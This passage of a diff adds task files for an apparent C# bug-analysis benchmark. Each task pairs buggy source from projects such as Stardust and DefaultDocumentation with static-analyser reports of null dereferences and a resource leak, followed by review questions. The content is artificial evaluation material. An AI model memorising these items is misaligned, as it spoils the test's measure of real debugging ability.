+        public AppCommand CommandReply(App app, CommandReplyModel model)
+        {
+            var cmd = AppCommand.FindById(model.Id);
+            if (cmd == null) return null;
+
+            // 防止越权
+            if (cmd.AppId != app.Id) throw new InvalidOperationException($"[{app}]越权访问[{cmd.AppName}]的服务");
+
+            cmd.Status = model.Status;
+            cmd.Result = model.Data;
+            cmd.Update();
+
+            // 推入服务响应队列，让服务调用方得到响应
+            _queue.Publish(model);
+
+            return cmd;
+        }
+
+        /// <summary>通知该服务的所有消费者，服务信息有变更</summary>
+        /// <param name="service"></param>
+        /// <param name="command"></param>
+        /// <param name="user"></param>
+        public void NotifyConsumers(Service service, String command, String user = null)
+        {
+            var list = AppConsume.FindAllByService(service.Id);
+            if (list.Count == 0) return;
+
+            var appIds = list.Select(e => e.AppId).Distinct().ToArray();
+
+            using var span = _tracer?.NewSpan(nameof(NotifyConsumers), $"{command} appIds={appIds.Join()} user={user}");
+
+            foreach (var item in appIds)
+            {
+                var app = App.FindById(item);
+                if (app != null) SendCommand(app, command, null, user);
+            }
+        }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `olt` last assigned on line 44 could be null and is dereferenced at line 57, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+AppOnline RegistryService.Register(App,AppModel,String,String,String)
+
+### File:
+Stardust.Server/Services/RegistryService.cs
+
+### Key:
+RegistryService.cs|Register|NULL_DEREFERENCE
+
+### Node Key:
+90535029835413c6e5d1bdebbf52bdf9
+
+### Hash:
+de84dc490a9452d39bbbc31f664e0438
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1223/instruction.md b/inferredbugs-1223/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..75c10c7cf50dbece396d7b57ab0f46f4c6d89830
--- /dev/null
+++ b/inferredbugs-1223/instruction.md
@@ -0,0 +1,534 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Stardust
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Net.Http;
+using System.Net.NetworkInformation;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using System.Threading.Tasks;
+using NewLife;
+using NewLife.Http;
+using NewLife.Log;
+using NewLife.Reflection;
+using NewLife.Remoting;
+using NewLife.Security;
+using NewLife.Serialization;
+using NewLife.Threading;
+using Stardust.Models;
+using Stardust.Services;
+
+namespace Stardust
+{
+    /// <summary>星星客户端</summary>
+    public class StarClient : ApiHttpClient
+    {
+        #region 属性
+        /// <summary>证书</summary>
+        public String Code { get; set; }
+
+        /// <summary>密钥</summary>
+        public String Secret { get; set; }
+
+        /// <summary>是否已登录</summary>
+        public Boolean Logined { get; set; }
+
+        /// <summary>登录完成后触发</summary>
+        public event EventHandler OnLogined;
+
+        /// <summary>最后一次登录成功后的消息</summary>
+        public LoginResponse Info { get; private set; }
+
+        /// <summary>请求到服务端并返回的延迟时间。单位ms</summary>
+        public Int32 Delay { get; set; }
+
+        /// <summary>命令队列</summary>
+        public IQueueService<CommandModel> CommandQueue { get; } = new QueueService<CommandModel>();
+        #endregion
+
+        #region 构造
+        /// <summary>实例化</summary>
+        public StarClient()
+        {
+            Log = XTrace.Log;
+
+            _task = MachineInfo.RegisterAsync();
+        }
+
+        /// <summary>实例化</summary>
+        /// <param name="urls"></param>
+        public StarClient(String urls) : this()
+        {
+            if (!urls.IsNullOrEmpty())
+            {
+                var ss = urls.Split(",");
+                for (var i = 0; i < ss.Length; i++)
+                {
+                    Add("service" + (i + 1), new Uri(ss[i]));
+                }
+            }
+        }
+
+        /// <summary>销毁</summary>
+        /// <param name="disposing"></param>
+        protected override void Dispose(Boolean disposing)
+        {
+            Logout(disposing ? "Dispose" : "GC").Wait(1_000);
+
+            base.Dispose(disposing);
+        }
+        #endregion
+
+        #region 登录
+        /// <summary>登录</summary>
+        /// <returns></returns>
+        public async Task<Object> Login()
+        {
+            XTrace.WriteLine("登录：{0}", Code);
+
+            var info = GetLoginInfo();
+
+            // 登录前清空令牌，避免服务端使用上一次信息
+            Token = null;
+            Logined = false;
+            Info = null;
+
+            var rs = Info = await LoginAsync(info);
+            if (rs != null && !rs.Code.IsNullOrEmpty())
+            {
+                XTrace.WriteLine("下发证书：{0}/{1}", rs.Code, rs.Secret);
+                Code = rs.Code;
+                Secret = rs.Secret;
+            }
+
+            // 登录后设置用于用户认证的token
+            Token = rs.Token;
+            Logined = true;
+
+            OnLogined?.Invoke(this, EventArgs.Empty);
+
+            if (Logined && _timer == null)
+            {
+                lock (this)
+                {
+                    if (_timer == null)
+                    {
+                        _timer = new TimerX(s => Ping().Wait(), null, 5_000, 60_000, "Device") { Async = true };
+                    }
+                }
+            }
+
+            return rs;
+        }
+
+        /// <summary>获取登录信息</summary>
+        /// <returns></returns>
+        public LoginInfo GetLoginInfo()
+        {
+            var di = GetNodeInfo();
+            var ext = new LoginInfo
+            {
+                Code = Code,
+                Secret = Secret.IsNullOrEmpty() ? null : Secret.MD5(),
+
+                Node = di,
+            };
+
+            return ext;
+        }
+
+        private readonly Task<MachineInfo> _task;
+        /// <summary>获取设备信息</summary>
+        /// <returns></returns>
+        public NodeInfo GetNodeInfo()
+        {
+            var mi = MachineInfo.Current ?? _task.Result;
+
+            var asm = AssemblyX.Entry ?? AssemblyX.Create(Assembly.GetExecutingAssembly());
+            //var ps = System.IO.Ports.SerialPort.GetPortNames();
+            var mcs = NetHelper.GetMacs().Select(e => e.ToHex("-")).OrderBy(e => e).Join(",");
+            var driveInfo = new DriveInfo(Path.GetPathRoot(".".GetFullPath()));
+            var di = new NodeInfo
+            {
+                Version = asm?.FileVersion,
+                Compile = asm?.Compile ?? DateTime.MinValue,
+
+                OSName = mi.OSName,
+                OSVersion = mi.OSVersion,
+
+                MachineName = Environment.MachineName,
+                UserName = Environment.UserName,
+                IP = NetHelper.GetIPsWithCache().Where(ip => ip.IsIPv4() && !IPAddress.IsLoopback(ip) && ip.GetAddressBytes()[0] != 169).Join(),
+
+                ProcessorCount = Environment.ProcessorCount,
+                Memory = mi.Memory,
+                AvailableMemory = mi.AvailableMemory,
+                TotalSize = (UInt64)driveInfo.TotalSize,
+                AvailableFreeSpace = (UInt64)driveInfo.AvailableFreeSpace,
+
+                Processor = mi.Processor,
+                CpuID = mi.CpuID,
+                CpuRate = mi.CpuRate,
+                UUID = mi.UUID,
+                MachineGuid = mi.Guid,
+                DiskID = mi.DiskID,
+
+                Macs = mcs,
+                //COMs = ps.Join(","),
+
+                InstallPath = ".".GetFullPath(),
+                Runtime = Environment.Version + "",
+
+                Time = DateTime.UtcNow,
+            };
+
+#if !__CORE__
+            try
+            {
+                // 收集屏幕相关信息。Mono+Linux无法获取
+                var g = System.Drawing.Graphics.FromHwnd(IntPtr.Zero);
+                di.Dpi = $"{g.DpiX}*{g.DpiY}";
+                var screen = System.Windows.Forms.Screen.PrimaryScreen;
+                di.Resolution = $"{screen.Bounds.Width}*{screen.Bounds.Height}";
+            }
+            catch { }
+#endif
+
+            return di;
+        }
+
+        /// <summary>注销</summary>
+        /// <param name="reason"></param>
+        /// <returns></returns>
+        public async Task<Object> Logout(String reason)
+        {
+            if (!Logined) return null;
+
+            XTrace.WriteLine("注销：{0} {1}", Code, reason);
+
+            try
+            {
+                var rs = await LogoutAsync(reason);
+                if (rs != null)
+                {
+                    // 更新令牌
+                    Token = rs.Token;
+                }
+
+                Logined = false;
+
+                return rs;
+            }
+            catch (Exception ex)
+            {
+                XTrace.WriteException(ex);
+
+                return null;
+            }
+        }
+
+        /// <summary>登录</summary>
+        /// <param name="inf">登录信息</param>
+        /// <returns></returns>
+        private async Task<LoginResponse> LoginAsync(LoginInfo inf) => await PostAsync<LoginResponse>("Node/Login", inf);
+
+        /// <summary>注销</summary>
+        /// <returns></returns>
+        private async Task<LoginResponse> LogoutAsync(String reason) => await GetAsync<LoginResponse>("Node/Logout", new { reason });
+        #endregion
+
+        #region 心跳报告
+        private readonly String[] _excludes = new[] { "Idle", "System", "Registry", "smss", "csrss", "lsass", "wininit", "services", "winlogon", "fontdrvhost", "dwm", "svchost", "dllhost", "conhost", "taskhostw", "explorer", "ctfmon", "ChsIME", "WmiPrvSE", "WUDFHost", "igfxCUIServiceN", "igfxEMN", "sihost", "RuntimeBroker", "StartMenuExperienceHost", "SecurityHealthSystray", "SecurityHealthService", "ShellExperienceHost", "PerfWatson2", "audiodg" };
+
+        /// <summary>获取心跳信息</summary>
+        public PingInfo GetHeartInfo()
+        {
+            var ps = Process.GetProcesses();
+            var pcs = new List<String>();
+            foreach (var item in ps)
+            {
+                // 有些进程可能已退出，无法获取详细信息
+                try
+                {
+                    var name = item.ProcessName;
+                    if (name.EqualIgnoreCase(_excludes)) continue;
+
+                    if (!pcs.Contains(name)) pcs.Add(name);
+                }
+                catch { }
+            }
+
+            var mi = MachineInfo.Current ?? _task.Result;
+            mi.Refresh();
+
+            var properties = IPGlobalProperties.GetIPGlobalProperties();
+            var connections = properties.GetActiveTcpConnections();
+
+            var mcs = NetHelper.GetMacs().Select(e => e.ToHex("-")).OrderBy(e => e).Join(",");
+            var driveInfo = new DriveInfo(Path.GetPathRoot(".".GetFullPath()));
+            var ext = new PingInfo
+            {
+                AvailableMemory = mi.AvailableMemory,
+                AvailableFreeSpace = (UInt64)driveInfo.AvailableFreeSpace,
+                CpuRate = mi.CpuRate,
+                Temperature = mi.Temperature,
+                ProcessCount = ps.Length,
+                TcpConnections = connections.Count(e => e.State == TcpState.Established),
+                TcpTimeWait = connections.Count(e => e.State == TcpState.TimeWait),
+                TcpCloseWait = connections.Count(e => e.State == TcpState.CloseWait),
+                Uptime = Environment.TickCount / 1000,
+
+                Macs = mcs,
+                //COMs = ps.Join(","),
+
+                Processes = pcs.Join(),
+
+                Time = DateTime.UtcNow.ToLong(),
+                Delay = Delay,
+            };
+#if __CORE__
+            //ext.Uptime = Environment.TickCount64 / 1000;
+#endif
+            // 开始时间 Environment.TickCount 很容易溢出，导致开机24天后变成负数。
+            // 后来在 netcore3.0 增加了Environment.TickCount64
+            // 现在借助 Stopwatch 来解决
+            if (Stopwatch.IsHighResolution) ext.Uptime = (Int32)(Stopwatch.GetTimestamp() / Stopwatch.Frequency);
+
+            return ext;
+        }
+
+        //[DllImport("kernel32.dll")]
+        //private static extern UInt64 GetTickCount64();
+
+        private TimerX _timer;
+        /// <summary>心跳</summary>
+        /// <returns></returns>
+        public async Task<Object> Ping()
+        {
+            //XTrace.WriteLine("心跳");
+
+            var inf = GetHeartInfo();
+
+            try
+            {
+                var rs = await PingAsync(inf);
+                if (rs != null)
+                {
+                    // 由服务器改变采样频率
+                    if (rs.Period > 0) _timer.Period = rs.Period * 1000;
+
+                    var dt = rs.Time.ToDateTime();
+                    if (dt.Year > 2000)
+                    {
+                        // 计算延迟
+                        var ts = DateTime.UtcNow - dt;
+                        var ms = (Int32)ts.TotalMilliseconds;
+                        if (Delay > 0)
+                            Delay = (Delay + ms) / 2;
+                        else
+                            Delay = ms;
+                    }
+
+                    // 推队列
+                    if (rs.Commands != null && rs.Commands.Length > 0)
+                    {
+                        foreach (var item in rs.Commands)
+                        {
+                            CommandQueue.Public(item.Command, item);
+                        }
+                    }
+                }
+
+                return rs;
+            }
+            catch (Exception ex)
+            {
+                var ex2 = ex.GetTrue();
+                if (ex2 is ApiException aex && (aex.Code == 402 || aex.Code == 403))
+                {
+                    XTrace.WriteLine("重新登录");
+                    return Login();
+                }
+
+                XTrace.WriteLine("心跳异常 {0}", (String)ex.GetTrue().Message);
+
+                throw;
+            }
+        }
+
+        /// <summary>心跳</summary>
+        /// <param name="inf"></param>
+        /// <returns></returns>
+        private async Task<PingResponse> PingAsync(PingInfo inf) => await PostAsync<PingResponse>("Node/Ping", inf);
+
+        private TraceService _trace;
+        /// <summary>使用跟踪服务</summary>
+        public void UseTrace()
+        {
+            _trace = new TraceService
+            {
+                Queue = CommandQueue,
+                Callback = (id, data) => ReportAsync(id, data).Wait(),
+            };
+            _trace.Init();
+        }
+
+        /// <summary>上报命令结果，如截屏、抓日志</summary>
+        /// <param name="id"></param>
+        /// <param name="data"></param>
+        /// <returns></returns>
+        private async Task<Object> ReportAsync(Int32 id, Byte[] data) => await PostAsync<Object>("Device/Report?Id=" + id, data);
+        #endregion
+
+        #region 更新
+        /// <summary>获取更新信息</summary>
+        /// <param name="channel"></param>
+        /// <returns></returns>
+        public async Task<UpgradeInfo> Upgrade(String channel)
+        {
+            XTrace.WriteLine("检查更新：{0}", channel);
+
+            var rs = await UpgradeAsync(channel);
+            if (rs != null)
+            {
+                XTrace.WriteLine("发现更新：{0}", rs.ToJson(true));
+            }
+
+            return rs;
+        }
+
+        /// <summary>执行更新</summary>
+        /// <param name="ur"></param>
+        /// <returns></returns>
+        public Boolean ProcessUpgrade(UpgradeInfo ur)
+        {
+            XTrace.WriteLine("执行更新：{0} {1}", ur.Version, ur.Source);
+
+            var dest = ".";
+            var url = ur.Source;
+
+            try
+            {
+                // 需要下载更新包
+                if (!url.IsNullOrEmpty())
+                {
+                    var fileName = Path.GetFileName(url);
+                    if (!fileName.EndsWithIgnoreCase(".zip")) fileName = Rand.NextString(8) + ".zip";
+                    fileName = Path.GetTempPath().CombinePath(fileName).EnsureDirectory(true);
+
+                    // 清理
+                    NewLife.Net.Upgrade.DeleteBuckup(dest);
+
+                    // 下载
+                    var sw = Stopwatch.StartNew();
+                    var client = new HttpClient();
+                    client.DownloadFileAsync(url, fileName).Wait();
+
+                    sw.Stop();
+                    XTrace.WriteLine("下载 {0} 到 {1} 完成，耗时 {2} 。", url, fileName, sw.Elapsed);
+
+                    // 解压
+                    var source = fileName.TrimEnd(".zip");
+                    if (Directory.Exists(source)) Directory.Delete(source, true);
+                    source.EnsureDirectory(false);
+                    fileName.AsFile().Extract(source, true);
+
+                    // 覆盖
+                    NewLife.Net.Upgrade.CopyAndReplace(source, dest);
+                    if (Directory.Exists(source)) Directory.Delete(source, true);
+                }
+
+                // 升级处理命令，可选
+                var cmd = ur.Executor?.Trim();
+                if (!cmd.IsNullOrEmpty())
+                {
+                    XTrace.WriteLine("执行更新命令：{0}", cmd);
+
+                    var p = cmd.IndexOf(' ');
+                    if (p < 0)
+                        Process.Start(cmd);
+                    else
+                        Process.Start(cmd.Substring(0, p), cmd.Substring(p + 1));
+                }
+
+                return true;
+            }
+            catch (Exception ex)
+            {
+                XTrace.WriteLine("更新失败！");
+                XTrace.WriteException(ex);
+
+                return false;
+            }
+        }
+
+        /// <summary>更新</summary>
+        /// <param name="channel"></param>
+        /// <returns></returns>
+        public async Task<UpgradeInfo> UpgradeAsync(String channel) => await GetAsync<UpgradeInfo>("Node/Upgrade", new { channel });
+        #endregion
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `cmd` last assigned on line 456 could be null and is dereferenced at line 449, column 21.
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean StarClient.ProcessUpgrade(UpgradeInfo)
+
+### File:
+Stardust/StarClient.cs
+
+### Key:
+StarClient.cs|ProcessUpgrade|NULL_DEREFERENCE
+
+### Node Key:
+8f23c407fab7524e0704ad6f3b90d75b
+
+### Hash:
+491510d76f89d54db3b095a4a2964872
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1225/instruction.md b/inferredbugs-1225/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7464bad0ad1299eb6a093f626bb4e0c06cf6882f
--- /dev/null
+++ b/inferredbugs-1225/instruction.md
@@ -0,0 +1,129 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** DefaultDocumentation
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using Microsoft.Build.Framework;
+
+namespace DefaultDocumentation
+{
+    public sealed class DefaultDocumentationTask : Microsoft.Build.Utilities.Task
+    {
+        public string LogLevel { get; set; }
+
+        [Required]
+        public string AssemblyFilePath { get; set; }
+
+        public string DocumentationFilePath { get; set; }
+
+        public string ProjectDirectoryPath { get; set; }
+
+        public string OutputDirectoryPath { get; set; }
+
+        public string InvalidCharReplacement { get; set; }
+
+        public string AssemblyPageName { get; set; }
+
+        public string FileNameMode { get; set; }
+
+        public bool RemoveFileExtensionFromLinks { get; set; }
+
+        public string NestedTypeVisibilities { get; set; }
+
+        public string GeneratedPages { get; set; }
+
+        public string GeneratedAccessModifiers { get; set; }
+
+        public bool IgnoreLineBreak { get; set; }
+
+        public string LinksOutputFilePath { get; set; }
+
+        public string LinksBaseUrl { get; set; }
+
+        public string ExternLinksFilePaths { get; set; }
+
+        public override bool Execute()
+        {
+            static T GetEnum<T>(string argumentName, string stringValue) where T : struct =>
+                string.IsNullOrEmpty(stringValue)
+                ? default
+                : (Enum.TryParse(stringValue, out T value) ? value : throw new ArgumentException($"Unknown value \"{stringValue}\"", argumentName));
+
+            Generator.Execute(new Settings(
+                new TaskTarget("Task", Log),
+                LogLevel,
+                AssemblyFilePath,
+                DocumentationFilePath,
+                ProjectDirectoryPath,
+                OutputDirectoryPath,
+                AssemblyPageName,
+                InvalidCharReplacement,
+                GetEnum<FileNameMode>(nameof(FileNameMode), FileNameMode),
+                RemoveFileExtensionFromLinks,
+                GetEnum<NestedTypeVisibilities>(nameof(NestedTypeVisibilities), NestedTypeVisibilities),
+                GetEnum<GeneratedPages>(nameof(GeneratedPages), GeneratedPages),
+                GetEnum<GeneratedAccessModifiers>(nameof(GeneratedAccessModifiers), GeneratedAccessModifiers),
+                IgnoreLineBreak,
+                LinksOutputFilePath,
+                LinksBaseUrl,
+                (ExternLinksFilePaths ?? string.Empty).Split('|')));
+
+            return true;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of DefaultDocumentation.TaskTarget::.ctor() at Line 48) of type NLog.Targets.TargetWithLayoutHeaderAndFooter in method "Boolean DefaultDocumentationTask.Execute()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean DefaultDocumentationTask.Execute()
+
+### File:
+source/DefaultDocumentation/DefaultDocumentationTask.cs
+
+### Key:
+DefaultDocumentationTask.cs|Execute|DOTNET_RESOURCE_LEAK
+
+### Hash:
+6bdc5b3bcfb4a5ee1d4dae33d8c271c8
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1241/instruction.md b/inferredbugs-1241/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..faf4afa19d061ebdb2c3684433cda559213e6dfd
--- /dev/null
+++ b/inferredbugs-1241/instruction.md
@@ -0,0 +1,872 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Native.Framework
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.InteropServices;
+using System.Text;
+using Native.Csharp.Sdk.Cqp.Core;
+using Native.Csharp.Sdk.Cqp.Enum;
+using Native.Csharp.Sdk.Cqp.Model;
+using Native.Csharp.Sdk.Cqp.Other;
+
+namespace Native.Csharp.Sdk.Cqp
+{
+    /// <summary>
+    /// 酷Q Api封装类
+    /// </summary>
+    public class CqApi
+    {
+        #region --字段--
+        private int _authCode = 0;
+        private string _appDirCache = null;
+        private Encoding _defaultEncoding = null;
+        #endregion
+
+        #region --属性--
+        /// <summary>
+        /// 获取或设置该实例的验证码
+        /// </summary>
+        public int AuthCode { get { return _authCode; } set { _authCode = value; } }
+        #endregion
+
+        #region --构造函数--
+        /// <summary>
+        /// 初始化一个 <see cref="CqApi"/> 类的新实例, 该实例将由 <code>Initialize (int)</code> 函数授权
+        /// </summary>
+        /// <param name="authCode">插件验证码</param>
+        public CqApi (int authCode)
+        {
+            this._authCode = authCode;
+            this._defaultEncoding = Encoding.GetEncoding ("GB18030");
+        }
+        #endregion
+
+        #region --CQ码--
+        /// <summary>
+        /// 获取酷Q "At某人" 代码
+        /// </summary>
+        /// <param name="qqId">QQ号, 填写 -1 为At全体成员</param>
+        /// <param name="addSpacing">默认为True, At后添加空格, 可使At更规范美观. 如果不需要添加空格, 请置本参数为False</param>
+        /// <returns></returns>
+        public string CqCode_At (long qqId = -1, bool addSpacing = true)
+        {
+            return string.Format ("[CQ:at,qq={0}]{1}", (qqId == -1) ? "all" : qqId.ToString (), addSpacing ? " " : string.Empty);
+        }
+        /// <summary>
+        /// 获取酷Q "emoji表情" 代码
+        /// </summary>
+        /// <param name="id">表情Id</param>
+        /// <returns></returns>
+        public string CqCode_Emoji (int id)
+        {
+            return string.Format ("[CQ:emoji,id={0}]", id);
+        }
+        /// <summary>
+        /// 获取酷Q "表情" 代码
+        /// </summary>
+        /// <param name="face">表情枚举</param>
+        /// <returns></returns>
+        public string CqCode_Face (Face face)
+        {
+            return string.Format ("[CQ:face,id={0}]", (int)face);
+        }
+        /// <summary>
+        /// 获取酷Q "窗口抖动" 代码
+        /// </summary>
+        /// <returns></returns>
+        public string CqCode_Shake ()
+        {
+            return "[CQ:shake]";
+        }
+        /// <summary>
+        /// 获取字符串的转义形式
+        /// </summary>
+        /// <param name="str">欲转义字符串</param>
+        /// <param name="commaTrope">逗号转义, 默认: False</param>
+        /// <returns></returns>
+        public string CqCode_Trope (string str, bool commaTrope = false)
+        {
+            StringBuilder @string = new StringBuilder (str);
+            @string = @string.Replace ("&", "&amp;");
+            @string = @string.Replace ("[", "&#91;");
+            @string = @string.Replace ("]", "&#93;");
+            if (commaTrope)
+            {
+                @string = @string.Replace (",", "&#44;");
+            }
+            return @string.ToString ();
+        }
+        /// <summary>
+        /// 获取字符串的非转义形式
+        /// </summary>
+        /// <param name="str">欲反转义字符串</param>
+        /// <returns></returns>
+        public string CqCode_UnTrope (string str)
+        {
+            StringBuilder @string = new StringBuilder (str);
+            @string = @string.Replace ("&#91;", "[");
+            @string = @string.Replace ("&#93;", "]");
+            @string = @string.Replace ("&#44;", ",");
+            @string = @string.Replace ("&amp;", "&");
+            return @string.ToString ();
+        }
+        /// <summary>
+        /// 获取酷Q "链接分享" 代码
+        /// </summary>
+        /// <param name="url">分享链接</param>
+        /// <param name="title">分享的标题, 建议12字以内</param>
+        /// <param name="content">分享的简介, 建议30字以内</param>
+        /// <param name="imgUrl">分享的图片链接, 留空则为默认图片</param>
+        /// <returns></returns>
+        public string CqCode_ShareLink (string url, string title, string content, string imgUrl)
+        {
+            StringBuilder @string = new StringBuilder ();
+            @string.AppendFormat (",url={0}", CqCode_Trope (url, true));
+            if (!string.IsNullOrEmpty (title))
+            {
+                @string.AppendFormat (",title={0}", CqCode_Trope (title, true));
+            }
+            if (!string.IsNullOrEmpty (content))
+            {
+                @string.AppendFormat (",content={0}", CqCode_Trope (content, true));
+            }
+            if (!string.IsNullOrEmpty (imgUrl))
+            {
+                @string.AppendFormat (",image={0}", CqCode_Trope (imgUrl, true));
+            }
+            return string.Format ("[CQ:share{0}]", @string.ToString ());
+        }
+        /// <summary>
+        /// 获取酷Q "名片分享" 代码
+        /// </summary>
+        /// <param name="cardType">名片类型, qq: 好友分享, group: 群分享</param>
+        /// <param name="id">类型为qq，则为qqId；类型为group，则为groupId</param>
+        /// <returns></returns>
+        public string CqCode_ShareCard (string cardType, long id)
+        {
+            return string.Format ("[CQ:contact,type={0},id={1}]", CqCode_Trope (cardType, true), id);
+        }
+        /// <summary>
+        /// 获取酷Q "位置分享" 代码
+        /// </summary>
+        /// <param name="site">地点名称, 建议12字以内</param>
+        /// <param name="detail">详细地址, 建议20字以内</param>
+        /// <param name="lat">维度</param>
+        /// <param name="lon">经度</param>
+        /// <param name="zoom">放大倍数, 默认: 15</param>
+        /// <returns></returns>
+        public string CqCode_ShareGPS (string site, string detail, double lat, double lon, int zoom = 15)
+        {
+            StringBuilder @string = new StringBuilder ();
+            @string.AppendFormat (",lat={0},lon={1}", lat, lon);
+            @string.AppendFormat (",zoom={0}", zoom);
+            @string.AppendFormat (",title={0},content={1}", CqCode_Trope (site, true), CqCode_Trope (detail, true));
+            return string.Format ("[CQ:location{0}]", @string.ToString ());
+        }
+        /// <summary>
+        /// 获取酷Q "匿名" 代码
+        /// </summary>
+        /// <param name="forced">强制发送
+        /// <para>默认为False 如果希望匿名失败时，将消息转为普通消息发送(而不是取消发送)，请置本参数为True。</para></param>
+        /// <returns></returns>
+        public string CqCode_Anonymous (bool forced = false)
+        {
+            return string.Format ("[CQ:anonymous{0}]", forced ? ",ignore=true" : string.Empty);
+        }
+        /// <summary>
+        /// 获取酷Q "图片" 代码
+        /// </summary>
+        /// <param name="filePath">图片路径
+        /// <para>将图片放在 data\image 下，并填写相对路径。如 data\image\1.jpg 则填写 1.jpg</para></param>
+        /// <returns></returns>
+        public string CqCode_Image (string filePath)
+        {
+            return string.Format ("[CQ:image,file={0}]", CqCode_Trope (filePath, true));
+        }
+        /// <summary>
+        /// 获取酷Q "音乐" 代码
+        /// </summary>
+        /// <param name="id">歌曲ID</param>
+        /// <param name="type">歌曲来源, 目前支持 qq/QQ音乐 163/网易云音乐 xiami/虾米音乐，默认为qq</param>
+        /// <param name="newStyle">启用新样式, 目前仅支持 QQ音乐 </param>
+        /// <returns></returns>
+        public string CqCode_Music (long id, string type = "qq", bool newStyle = false)
+        {
+            return string.Format ("[CQ:music,id={0},type={1}{2}]", id, CqCode_Trope (type, true), newStyle ? "style=1" : string.Empty);
+        }
+        /// <summary>
+        /// 获取酷Q "音乐自定义" 代码
+        /// </summary>
+        /// <param name="url">分享链接, 点击分享后进入的音乐页面（如歌曲介绍页）</param>
+        /// <param name="musicUrl">歌曲链接, 音乐的音频链接（如mp3链接）</param>
+        /// <param name="title">音乐的标题，建议12字以内</param>
+        /// <param name="content">音乐的简介，建议30字以内</param>
+        /// <param name="imgUrl">音乐的封面图片链接，留空则为默认图片</param>
+        /// <returns></returns>
+        public string CqCode_MusciDIY (string url, string musicUrl, string title = null, string content = null, string imgUrl = null)
+        {
+            StringBuilder @string = new StringBuilder ();
+            @string.AppendFormat (",url={0}", CqCode_Trope (url, true));
+            @string.AppendFormat (",audio={0}", CqCode_Trope (musicUrl, true));
+            if (!string.IsNullOrEmpty (title))
+            {
+                @string.AppendFormat (",title={0}", CqCode_Trope (title, true));
+            }
+            if (!string.IsNullOrEmpty (content))
+            {
+                @string.AppendFormat (",content={0}", CqCode_Trope (content, true));
+            }
+            if (!string.IsNullOrEmpty (imgUrl))
+            {
+                @string.AppendFormat (",image={0}", CqCode_Trope (imgUrl, true));
+            }
+            return string.Format ("[CQ:music,type=custom{0}]", @string.ToString ());
+        }
+        /// <summary>
+        /// 获取酷Q "语音" 代码
+        /// </summary>
+        /// <param name="filePath">语音路径
+        /// <para>将语音放在 data\record 下，并填写相对路径。如 data\record\1.amr 则填写 1.amr</para></param>
+        /// <returns></returns>
+        public string CqCode_Record (string filePath)
+        {
+            return string.Format ("[CQ:record,file={0}]", CqCode_Trope (filePath, true));
+        }
+        #endregion
+
+        #region --消息--
+        /// <summary>
+        /// 发送群消息
+        /// </summary>
+        /// <param name="groupId">目标群</param>
+        /// <param name="message">消息内容</param>
+        /// <returns>失败返回负值, 成功返回消息 Id</returns>
+        public int SendGroupMessage (long groupId, string message)
+        {
+            GCHandle handle = message.GetStringGCHandle (_defaultEncoding);
+            int msgId = CQP.CQ_sendGroupMsg (_authCode, groupId, handle.AddrOfPinnedObject ());
+            handle.Free ();
+            return msgId;
+        }
+
+        /// <summary>
+        /// 发送私聊消息
+        /// </summary>
+        /// <param name="qqId">目标QQ</param>
+        /// <param name="message">消息内容</param>
+        /// <returns>失败返回负值, 成功返回消息 Id</returns>
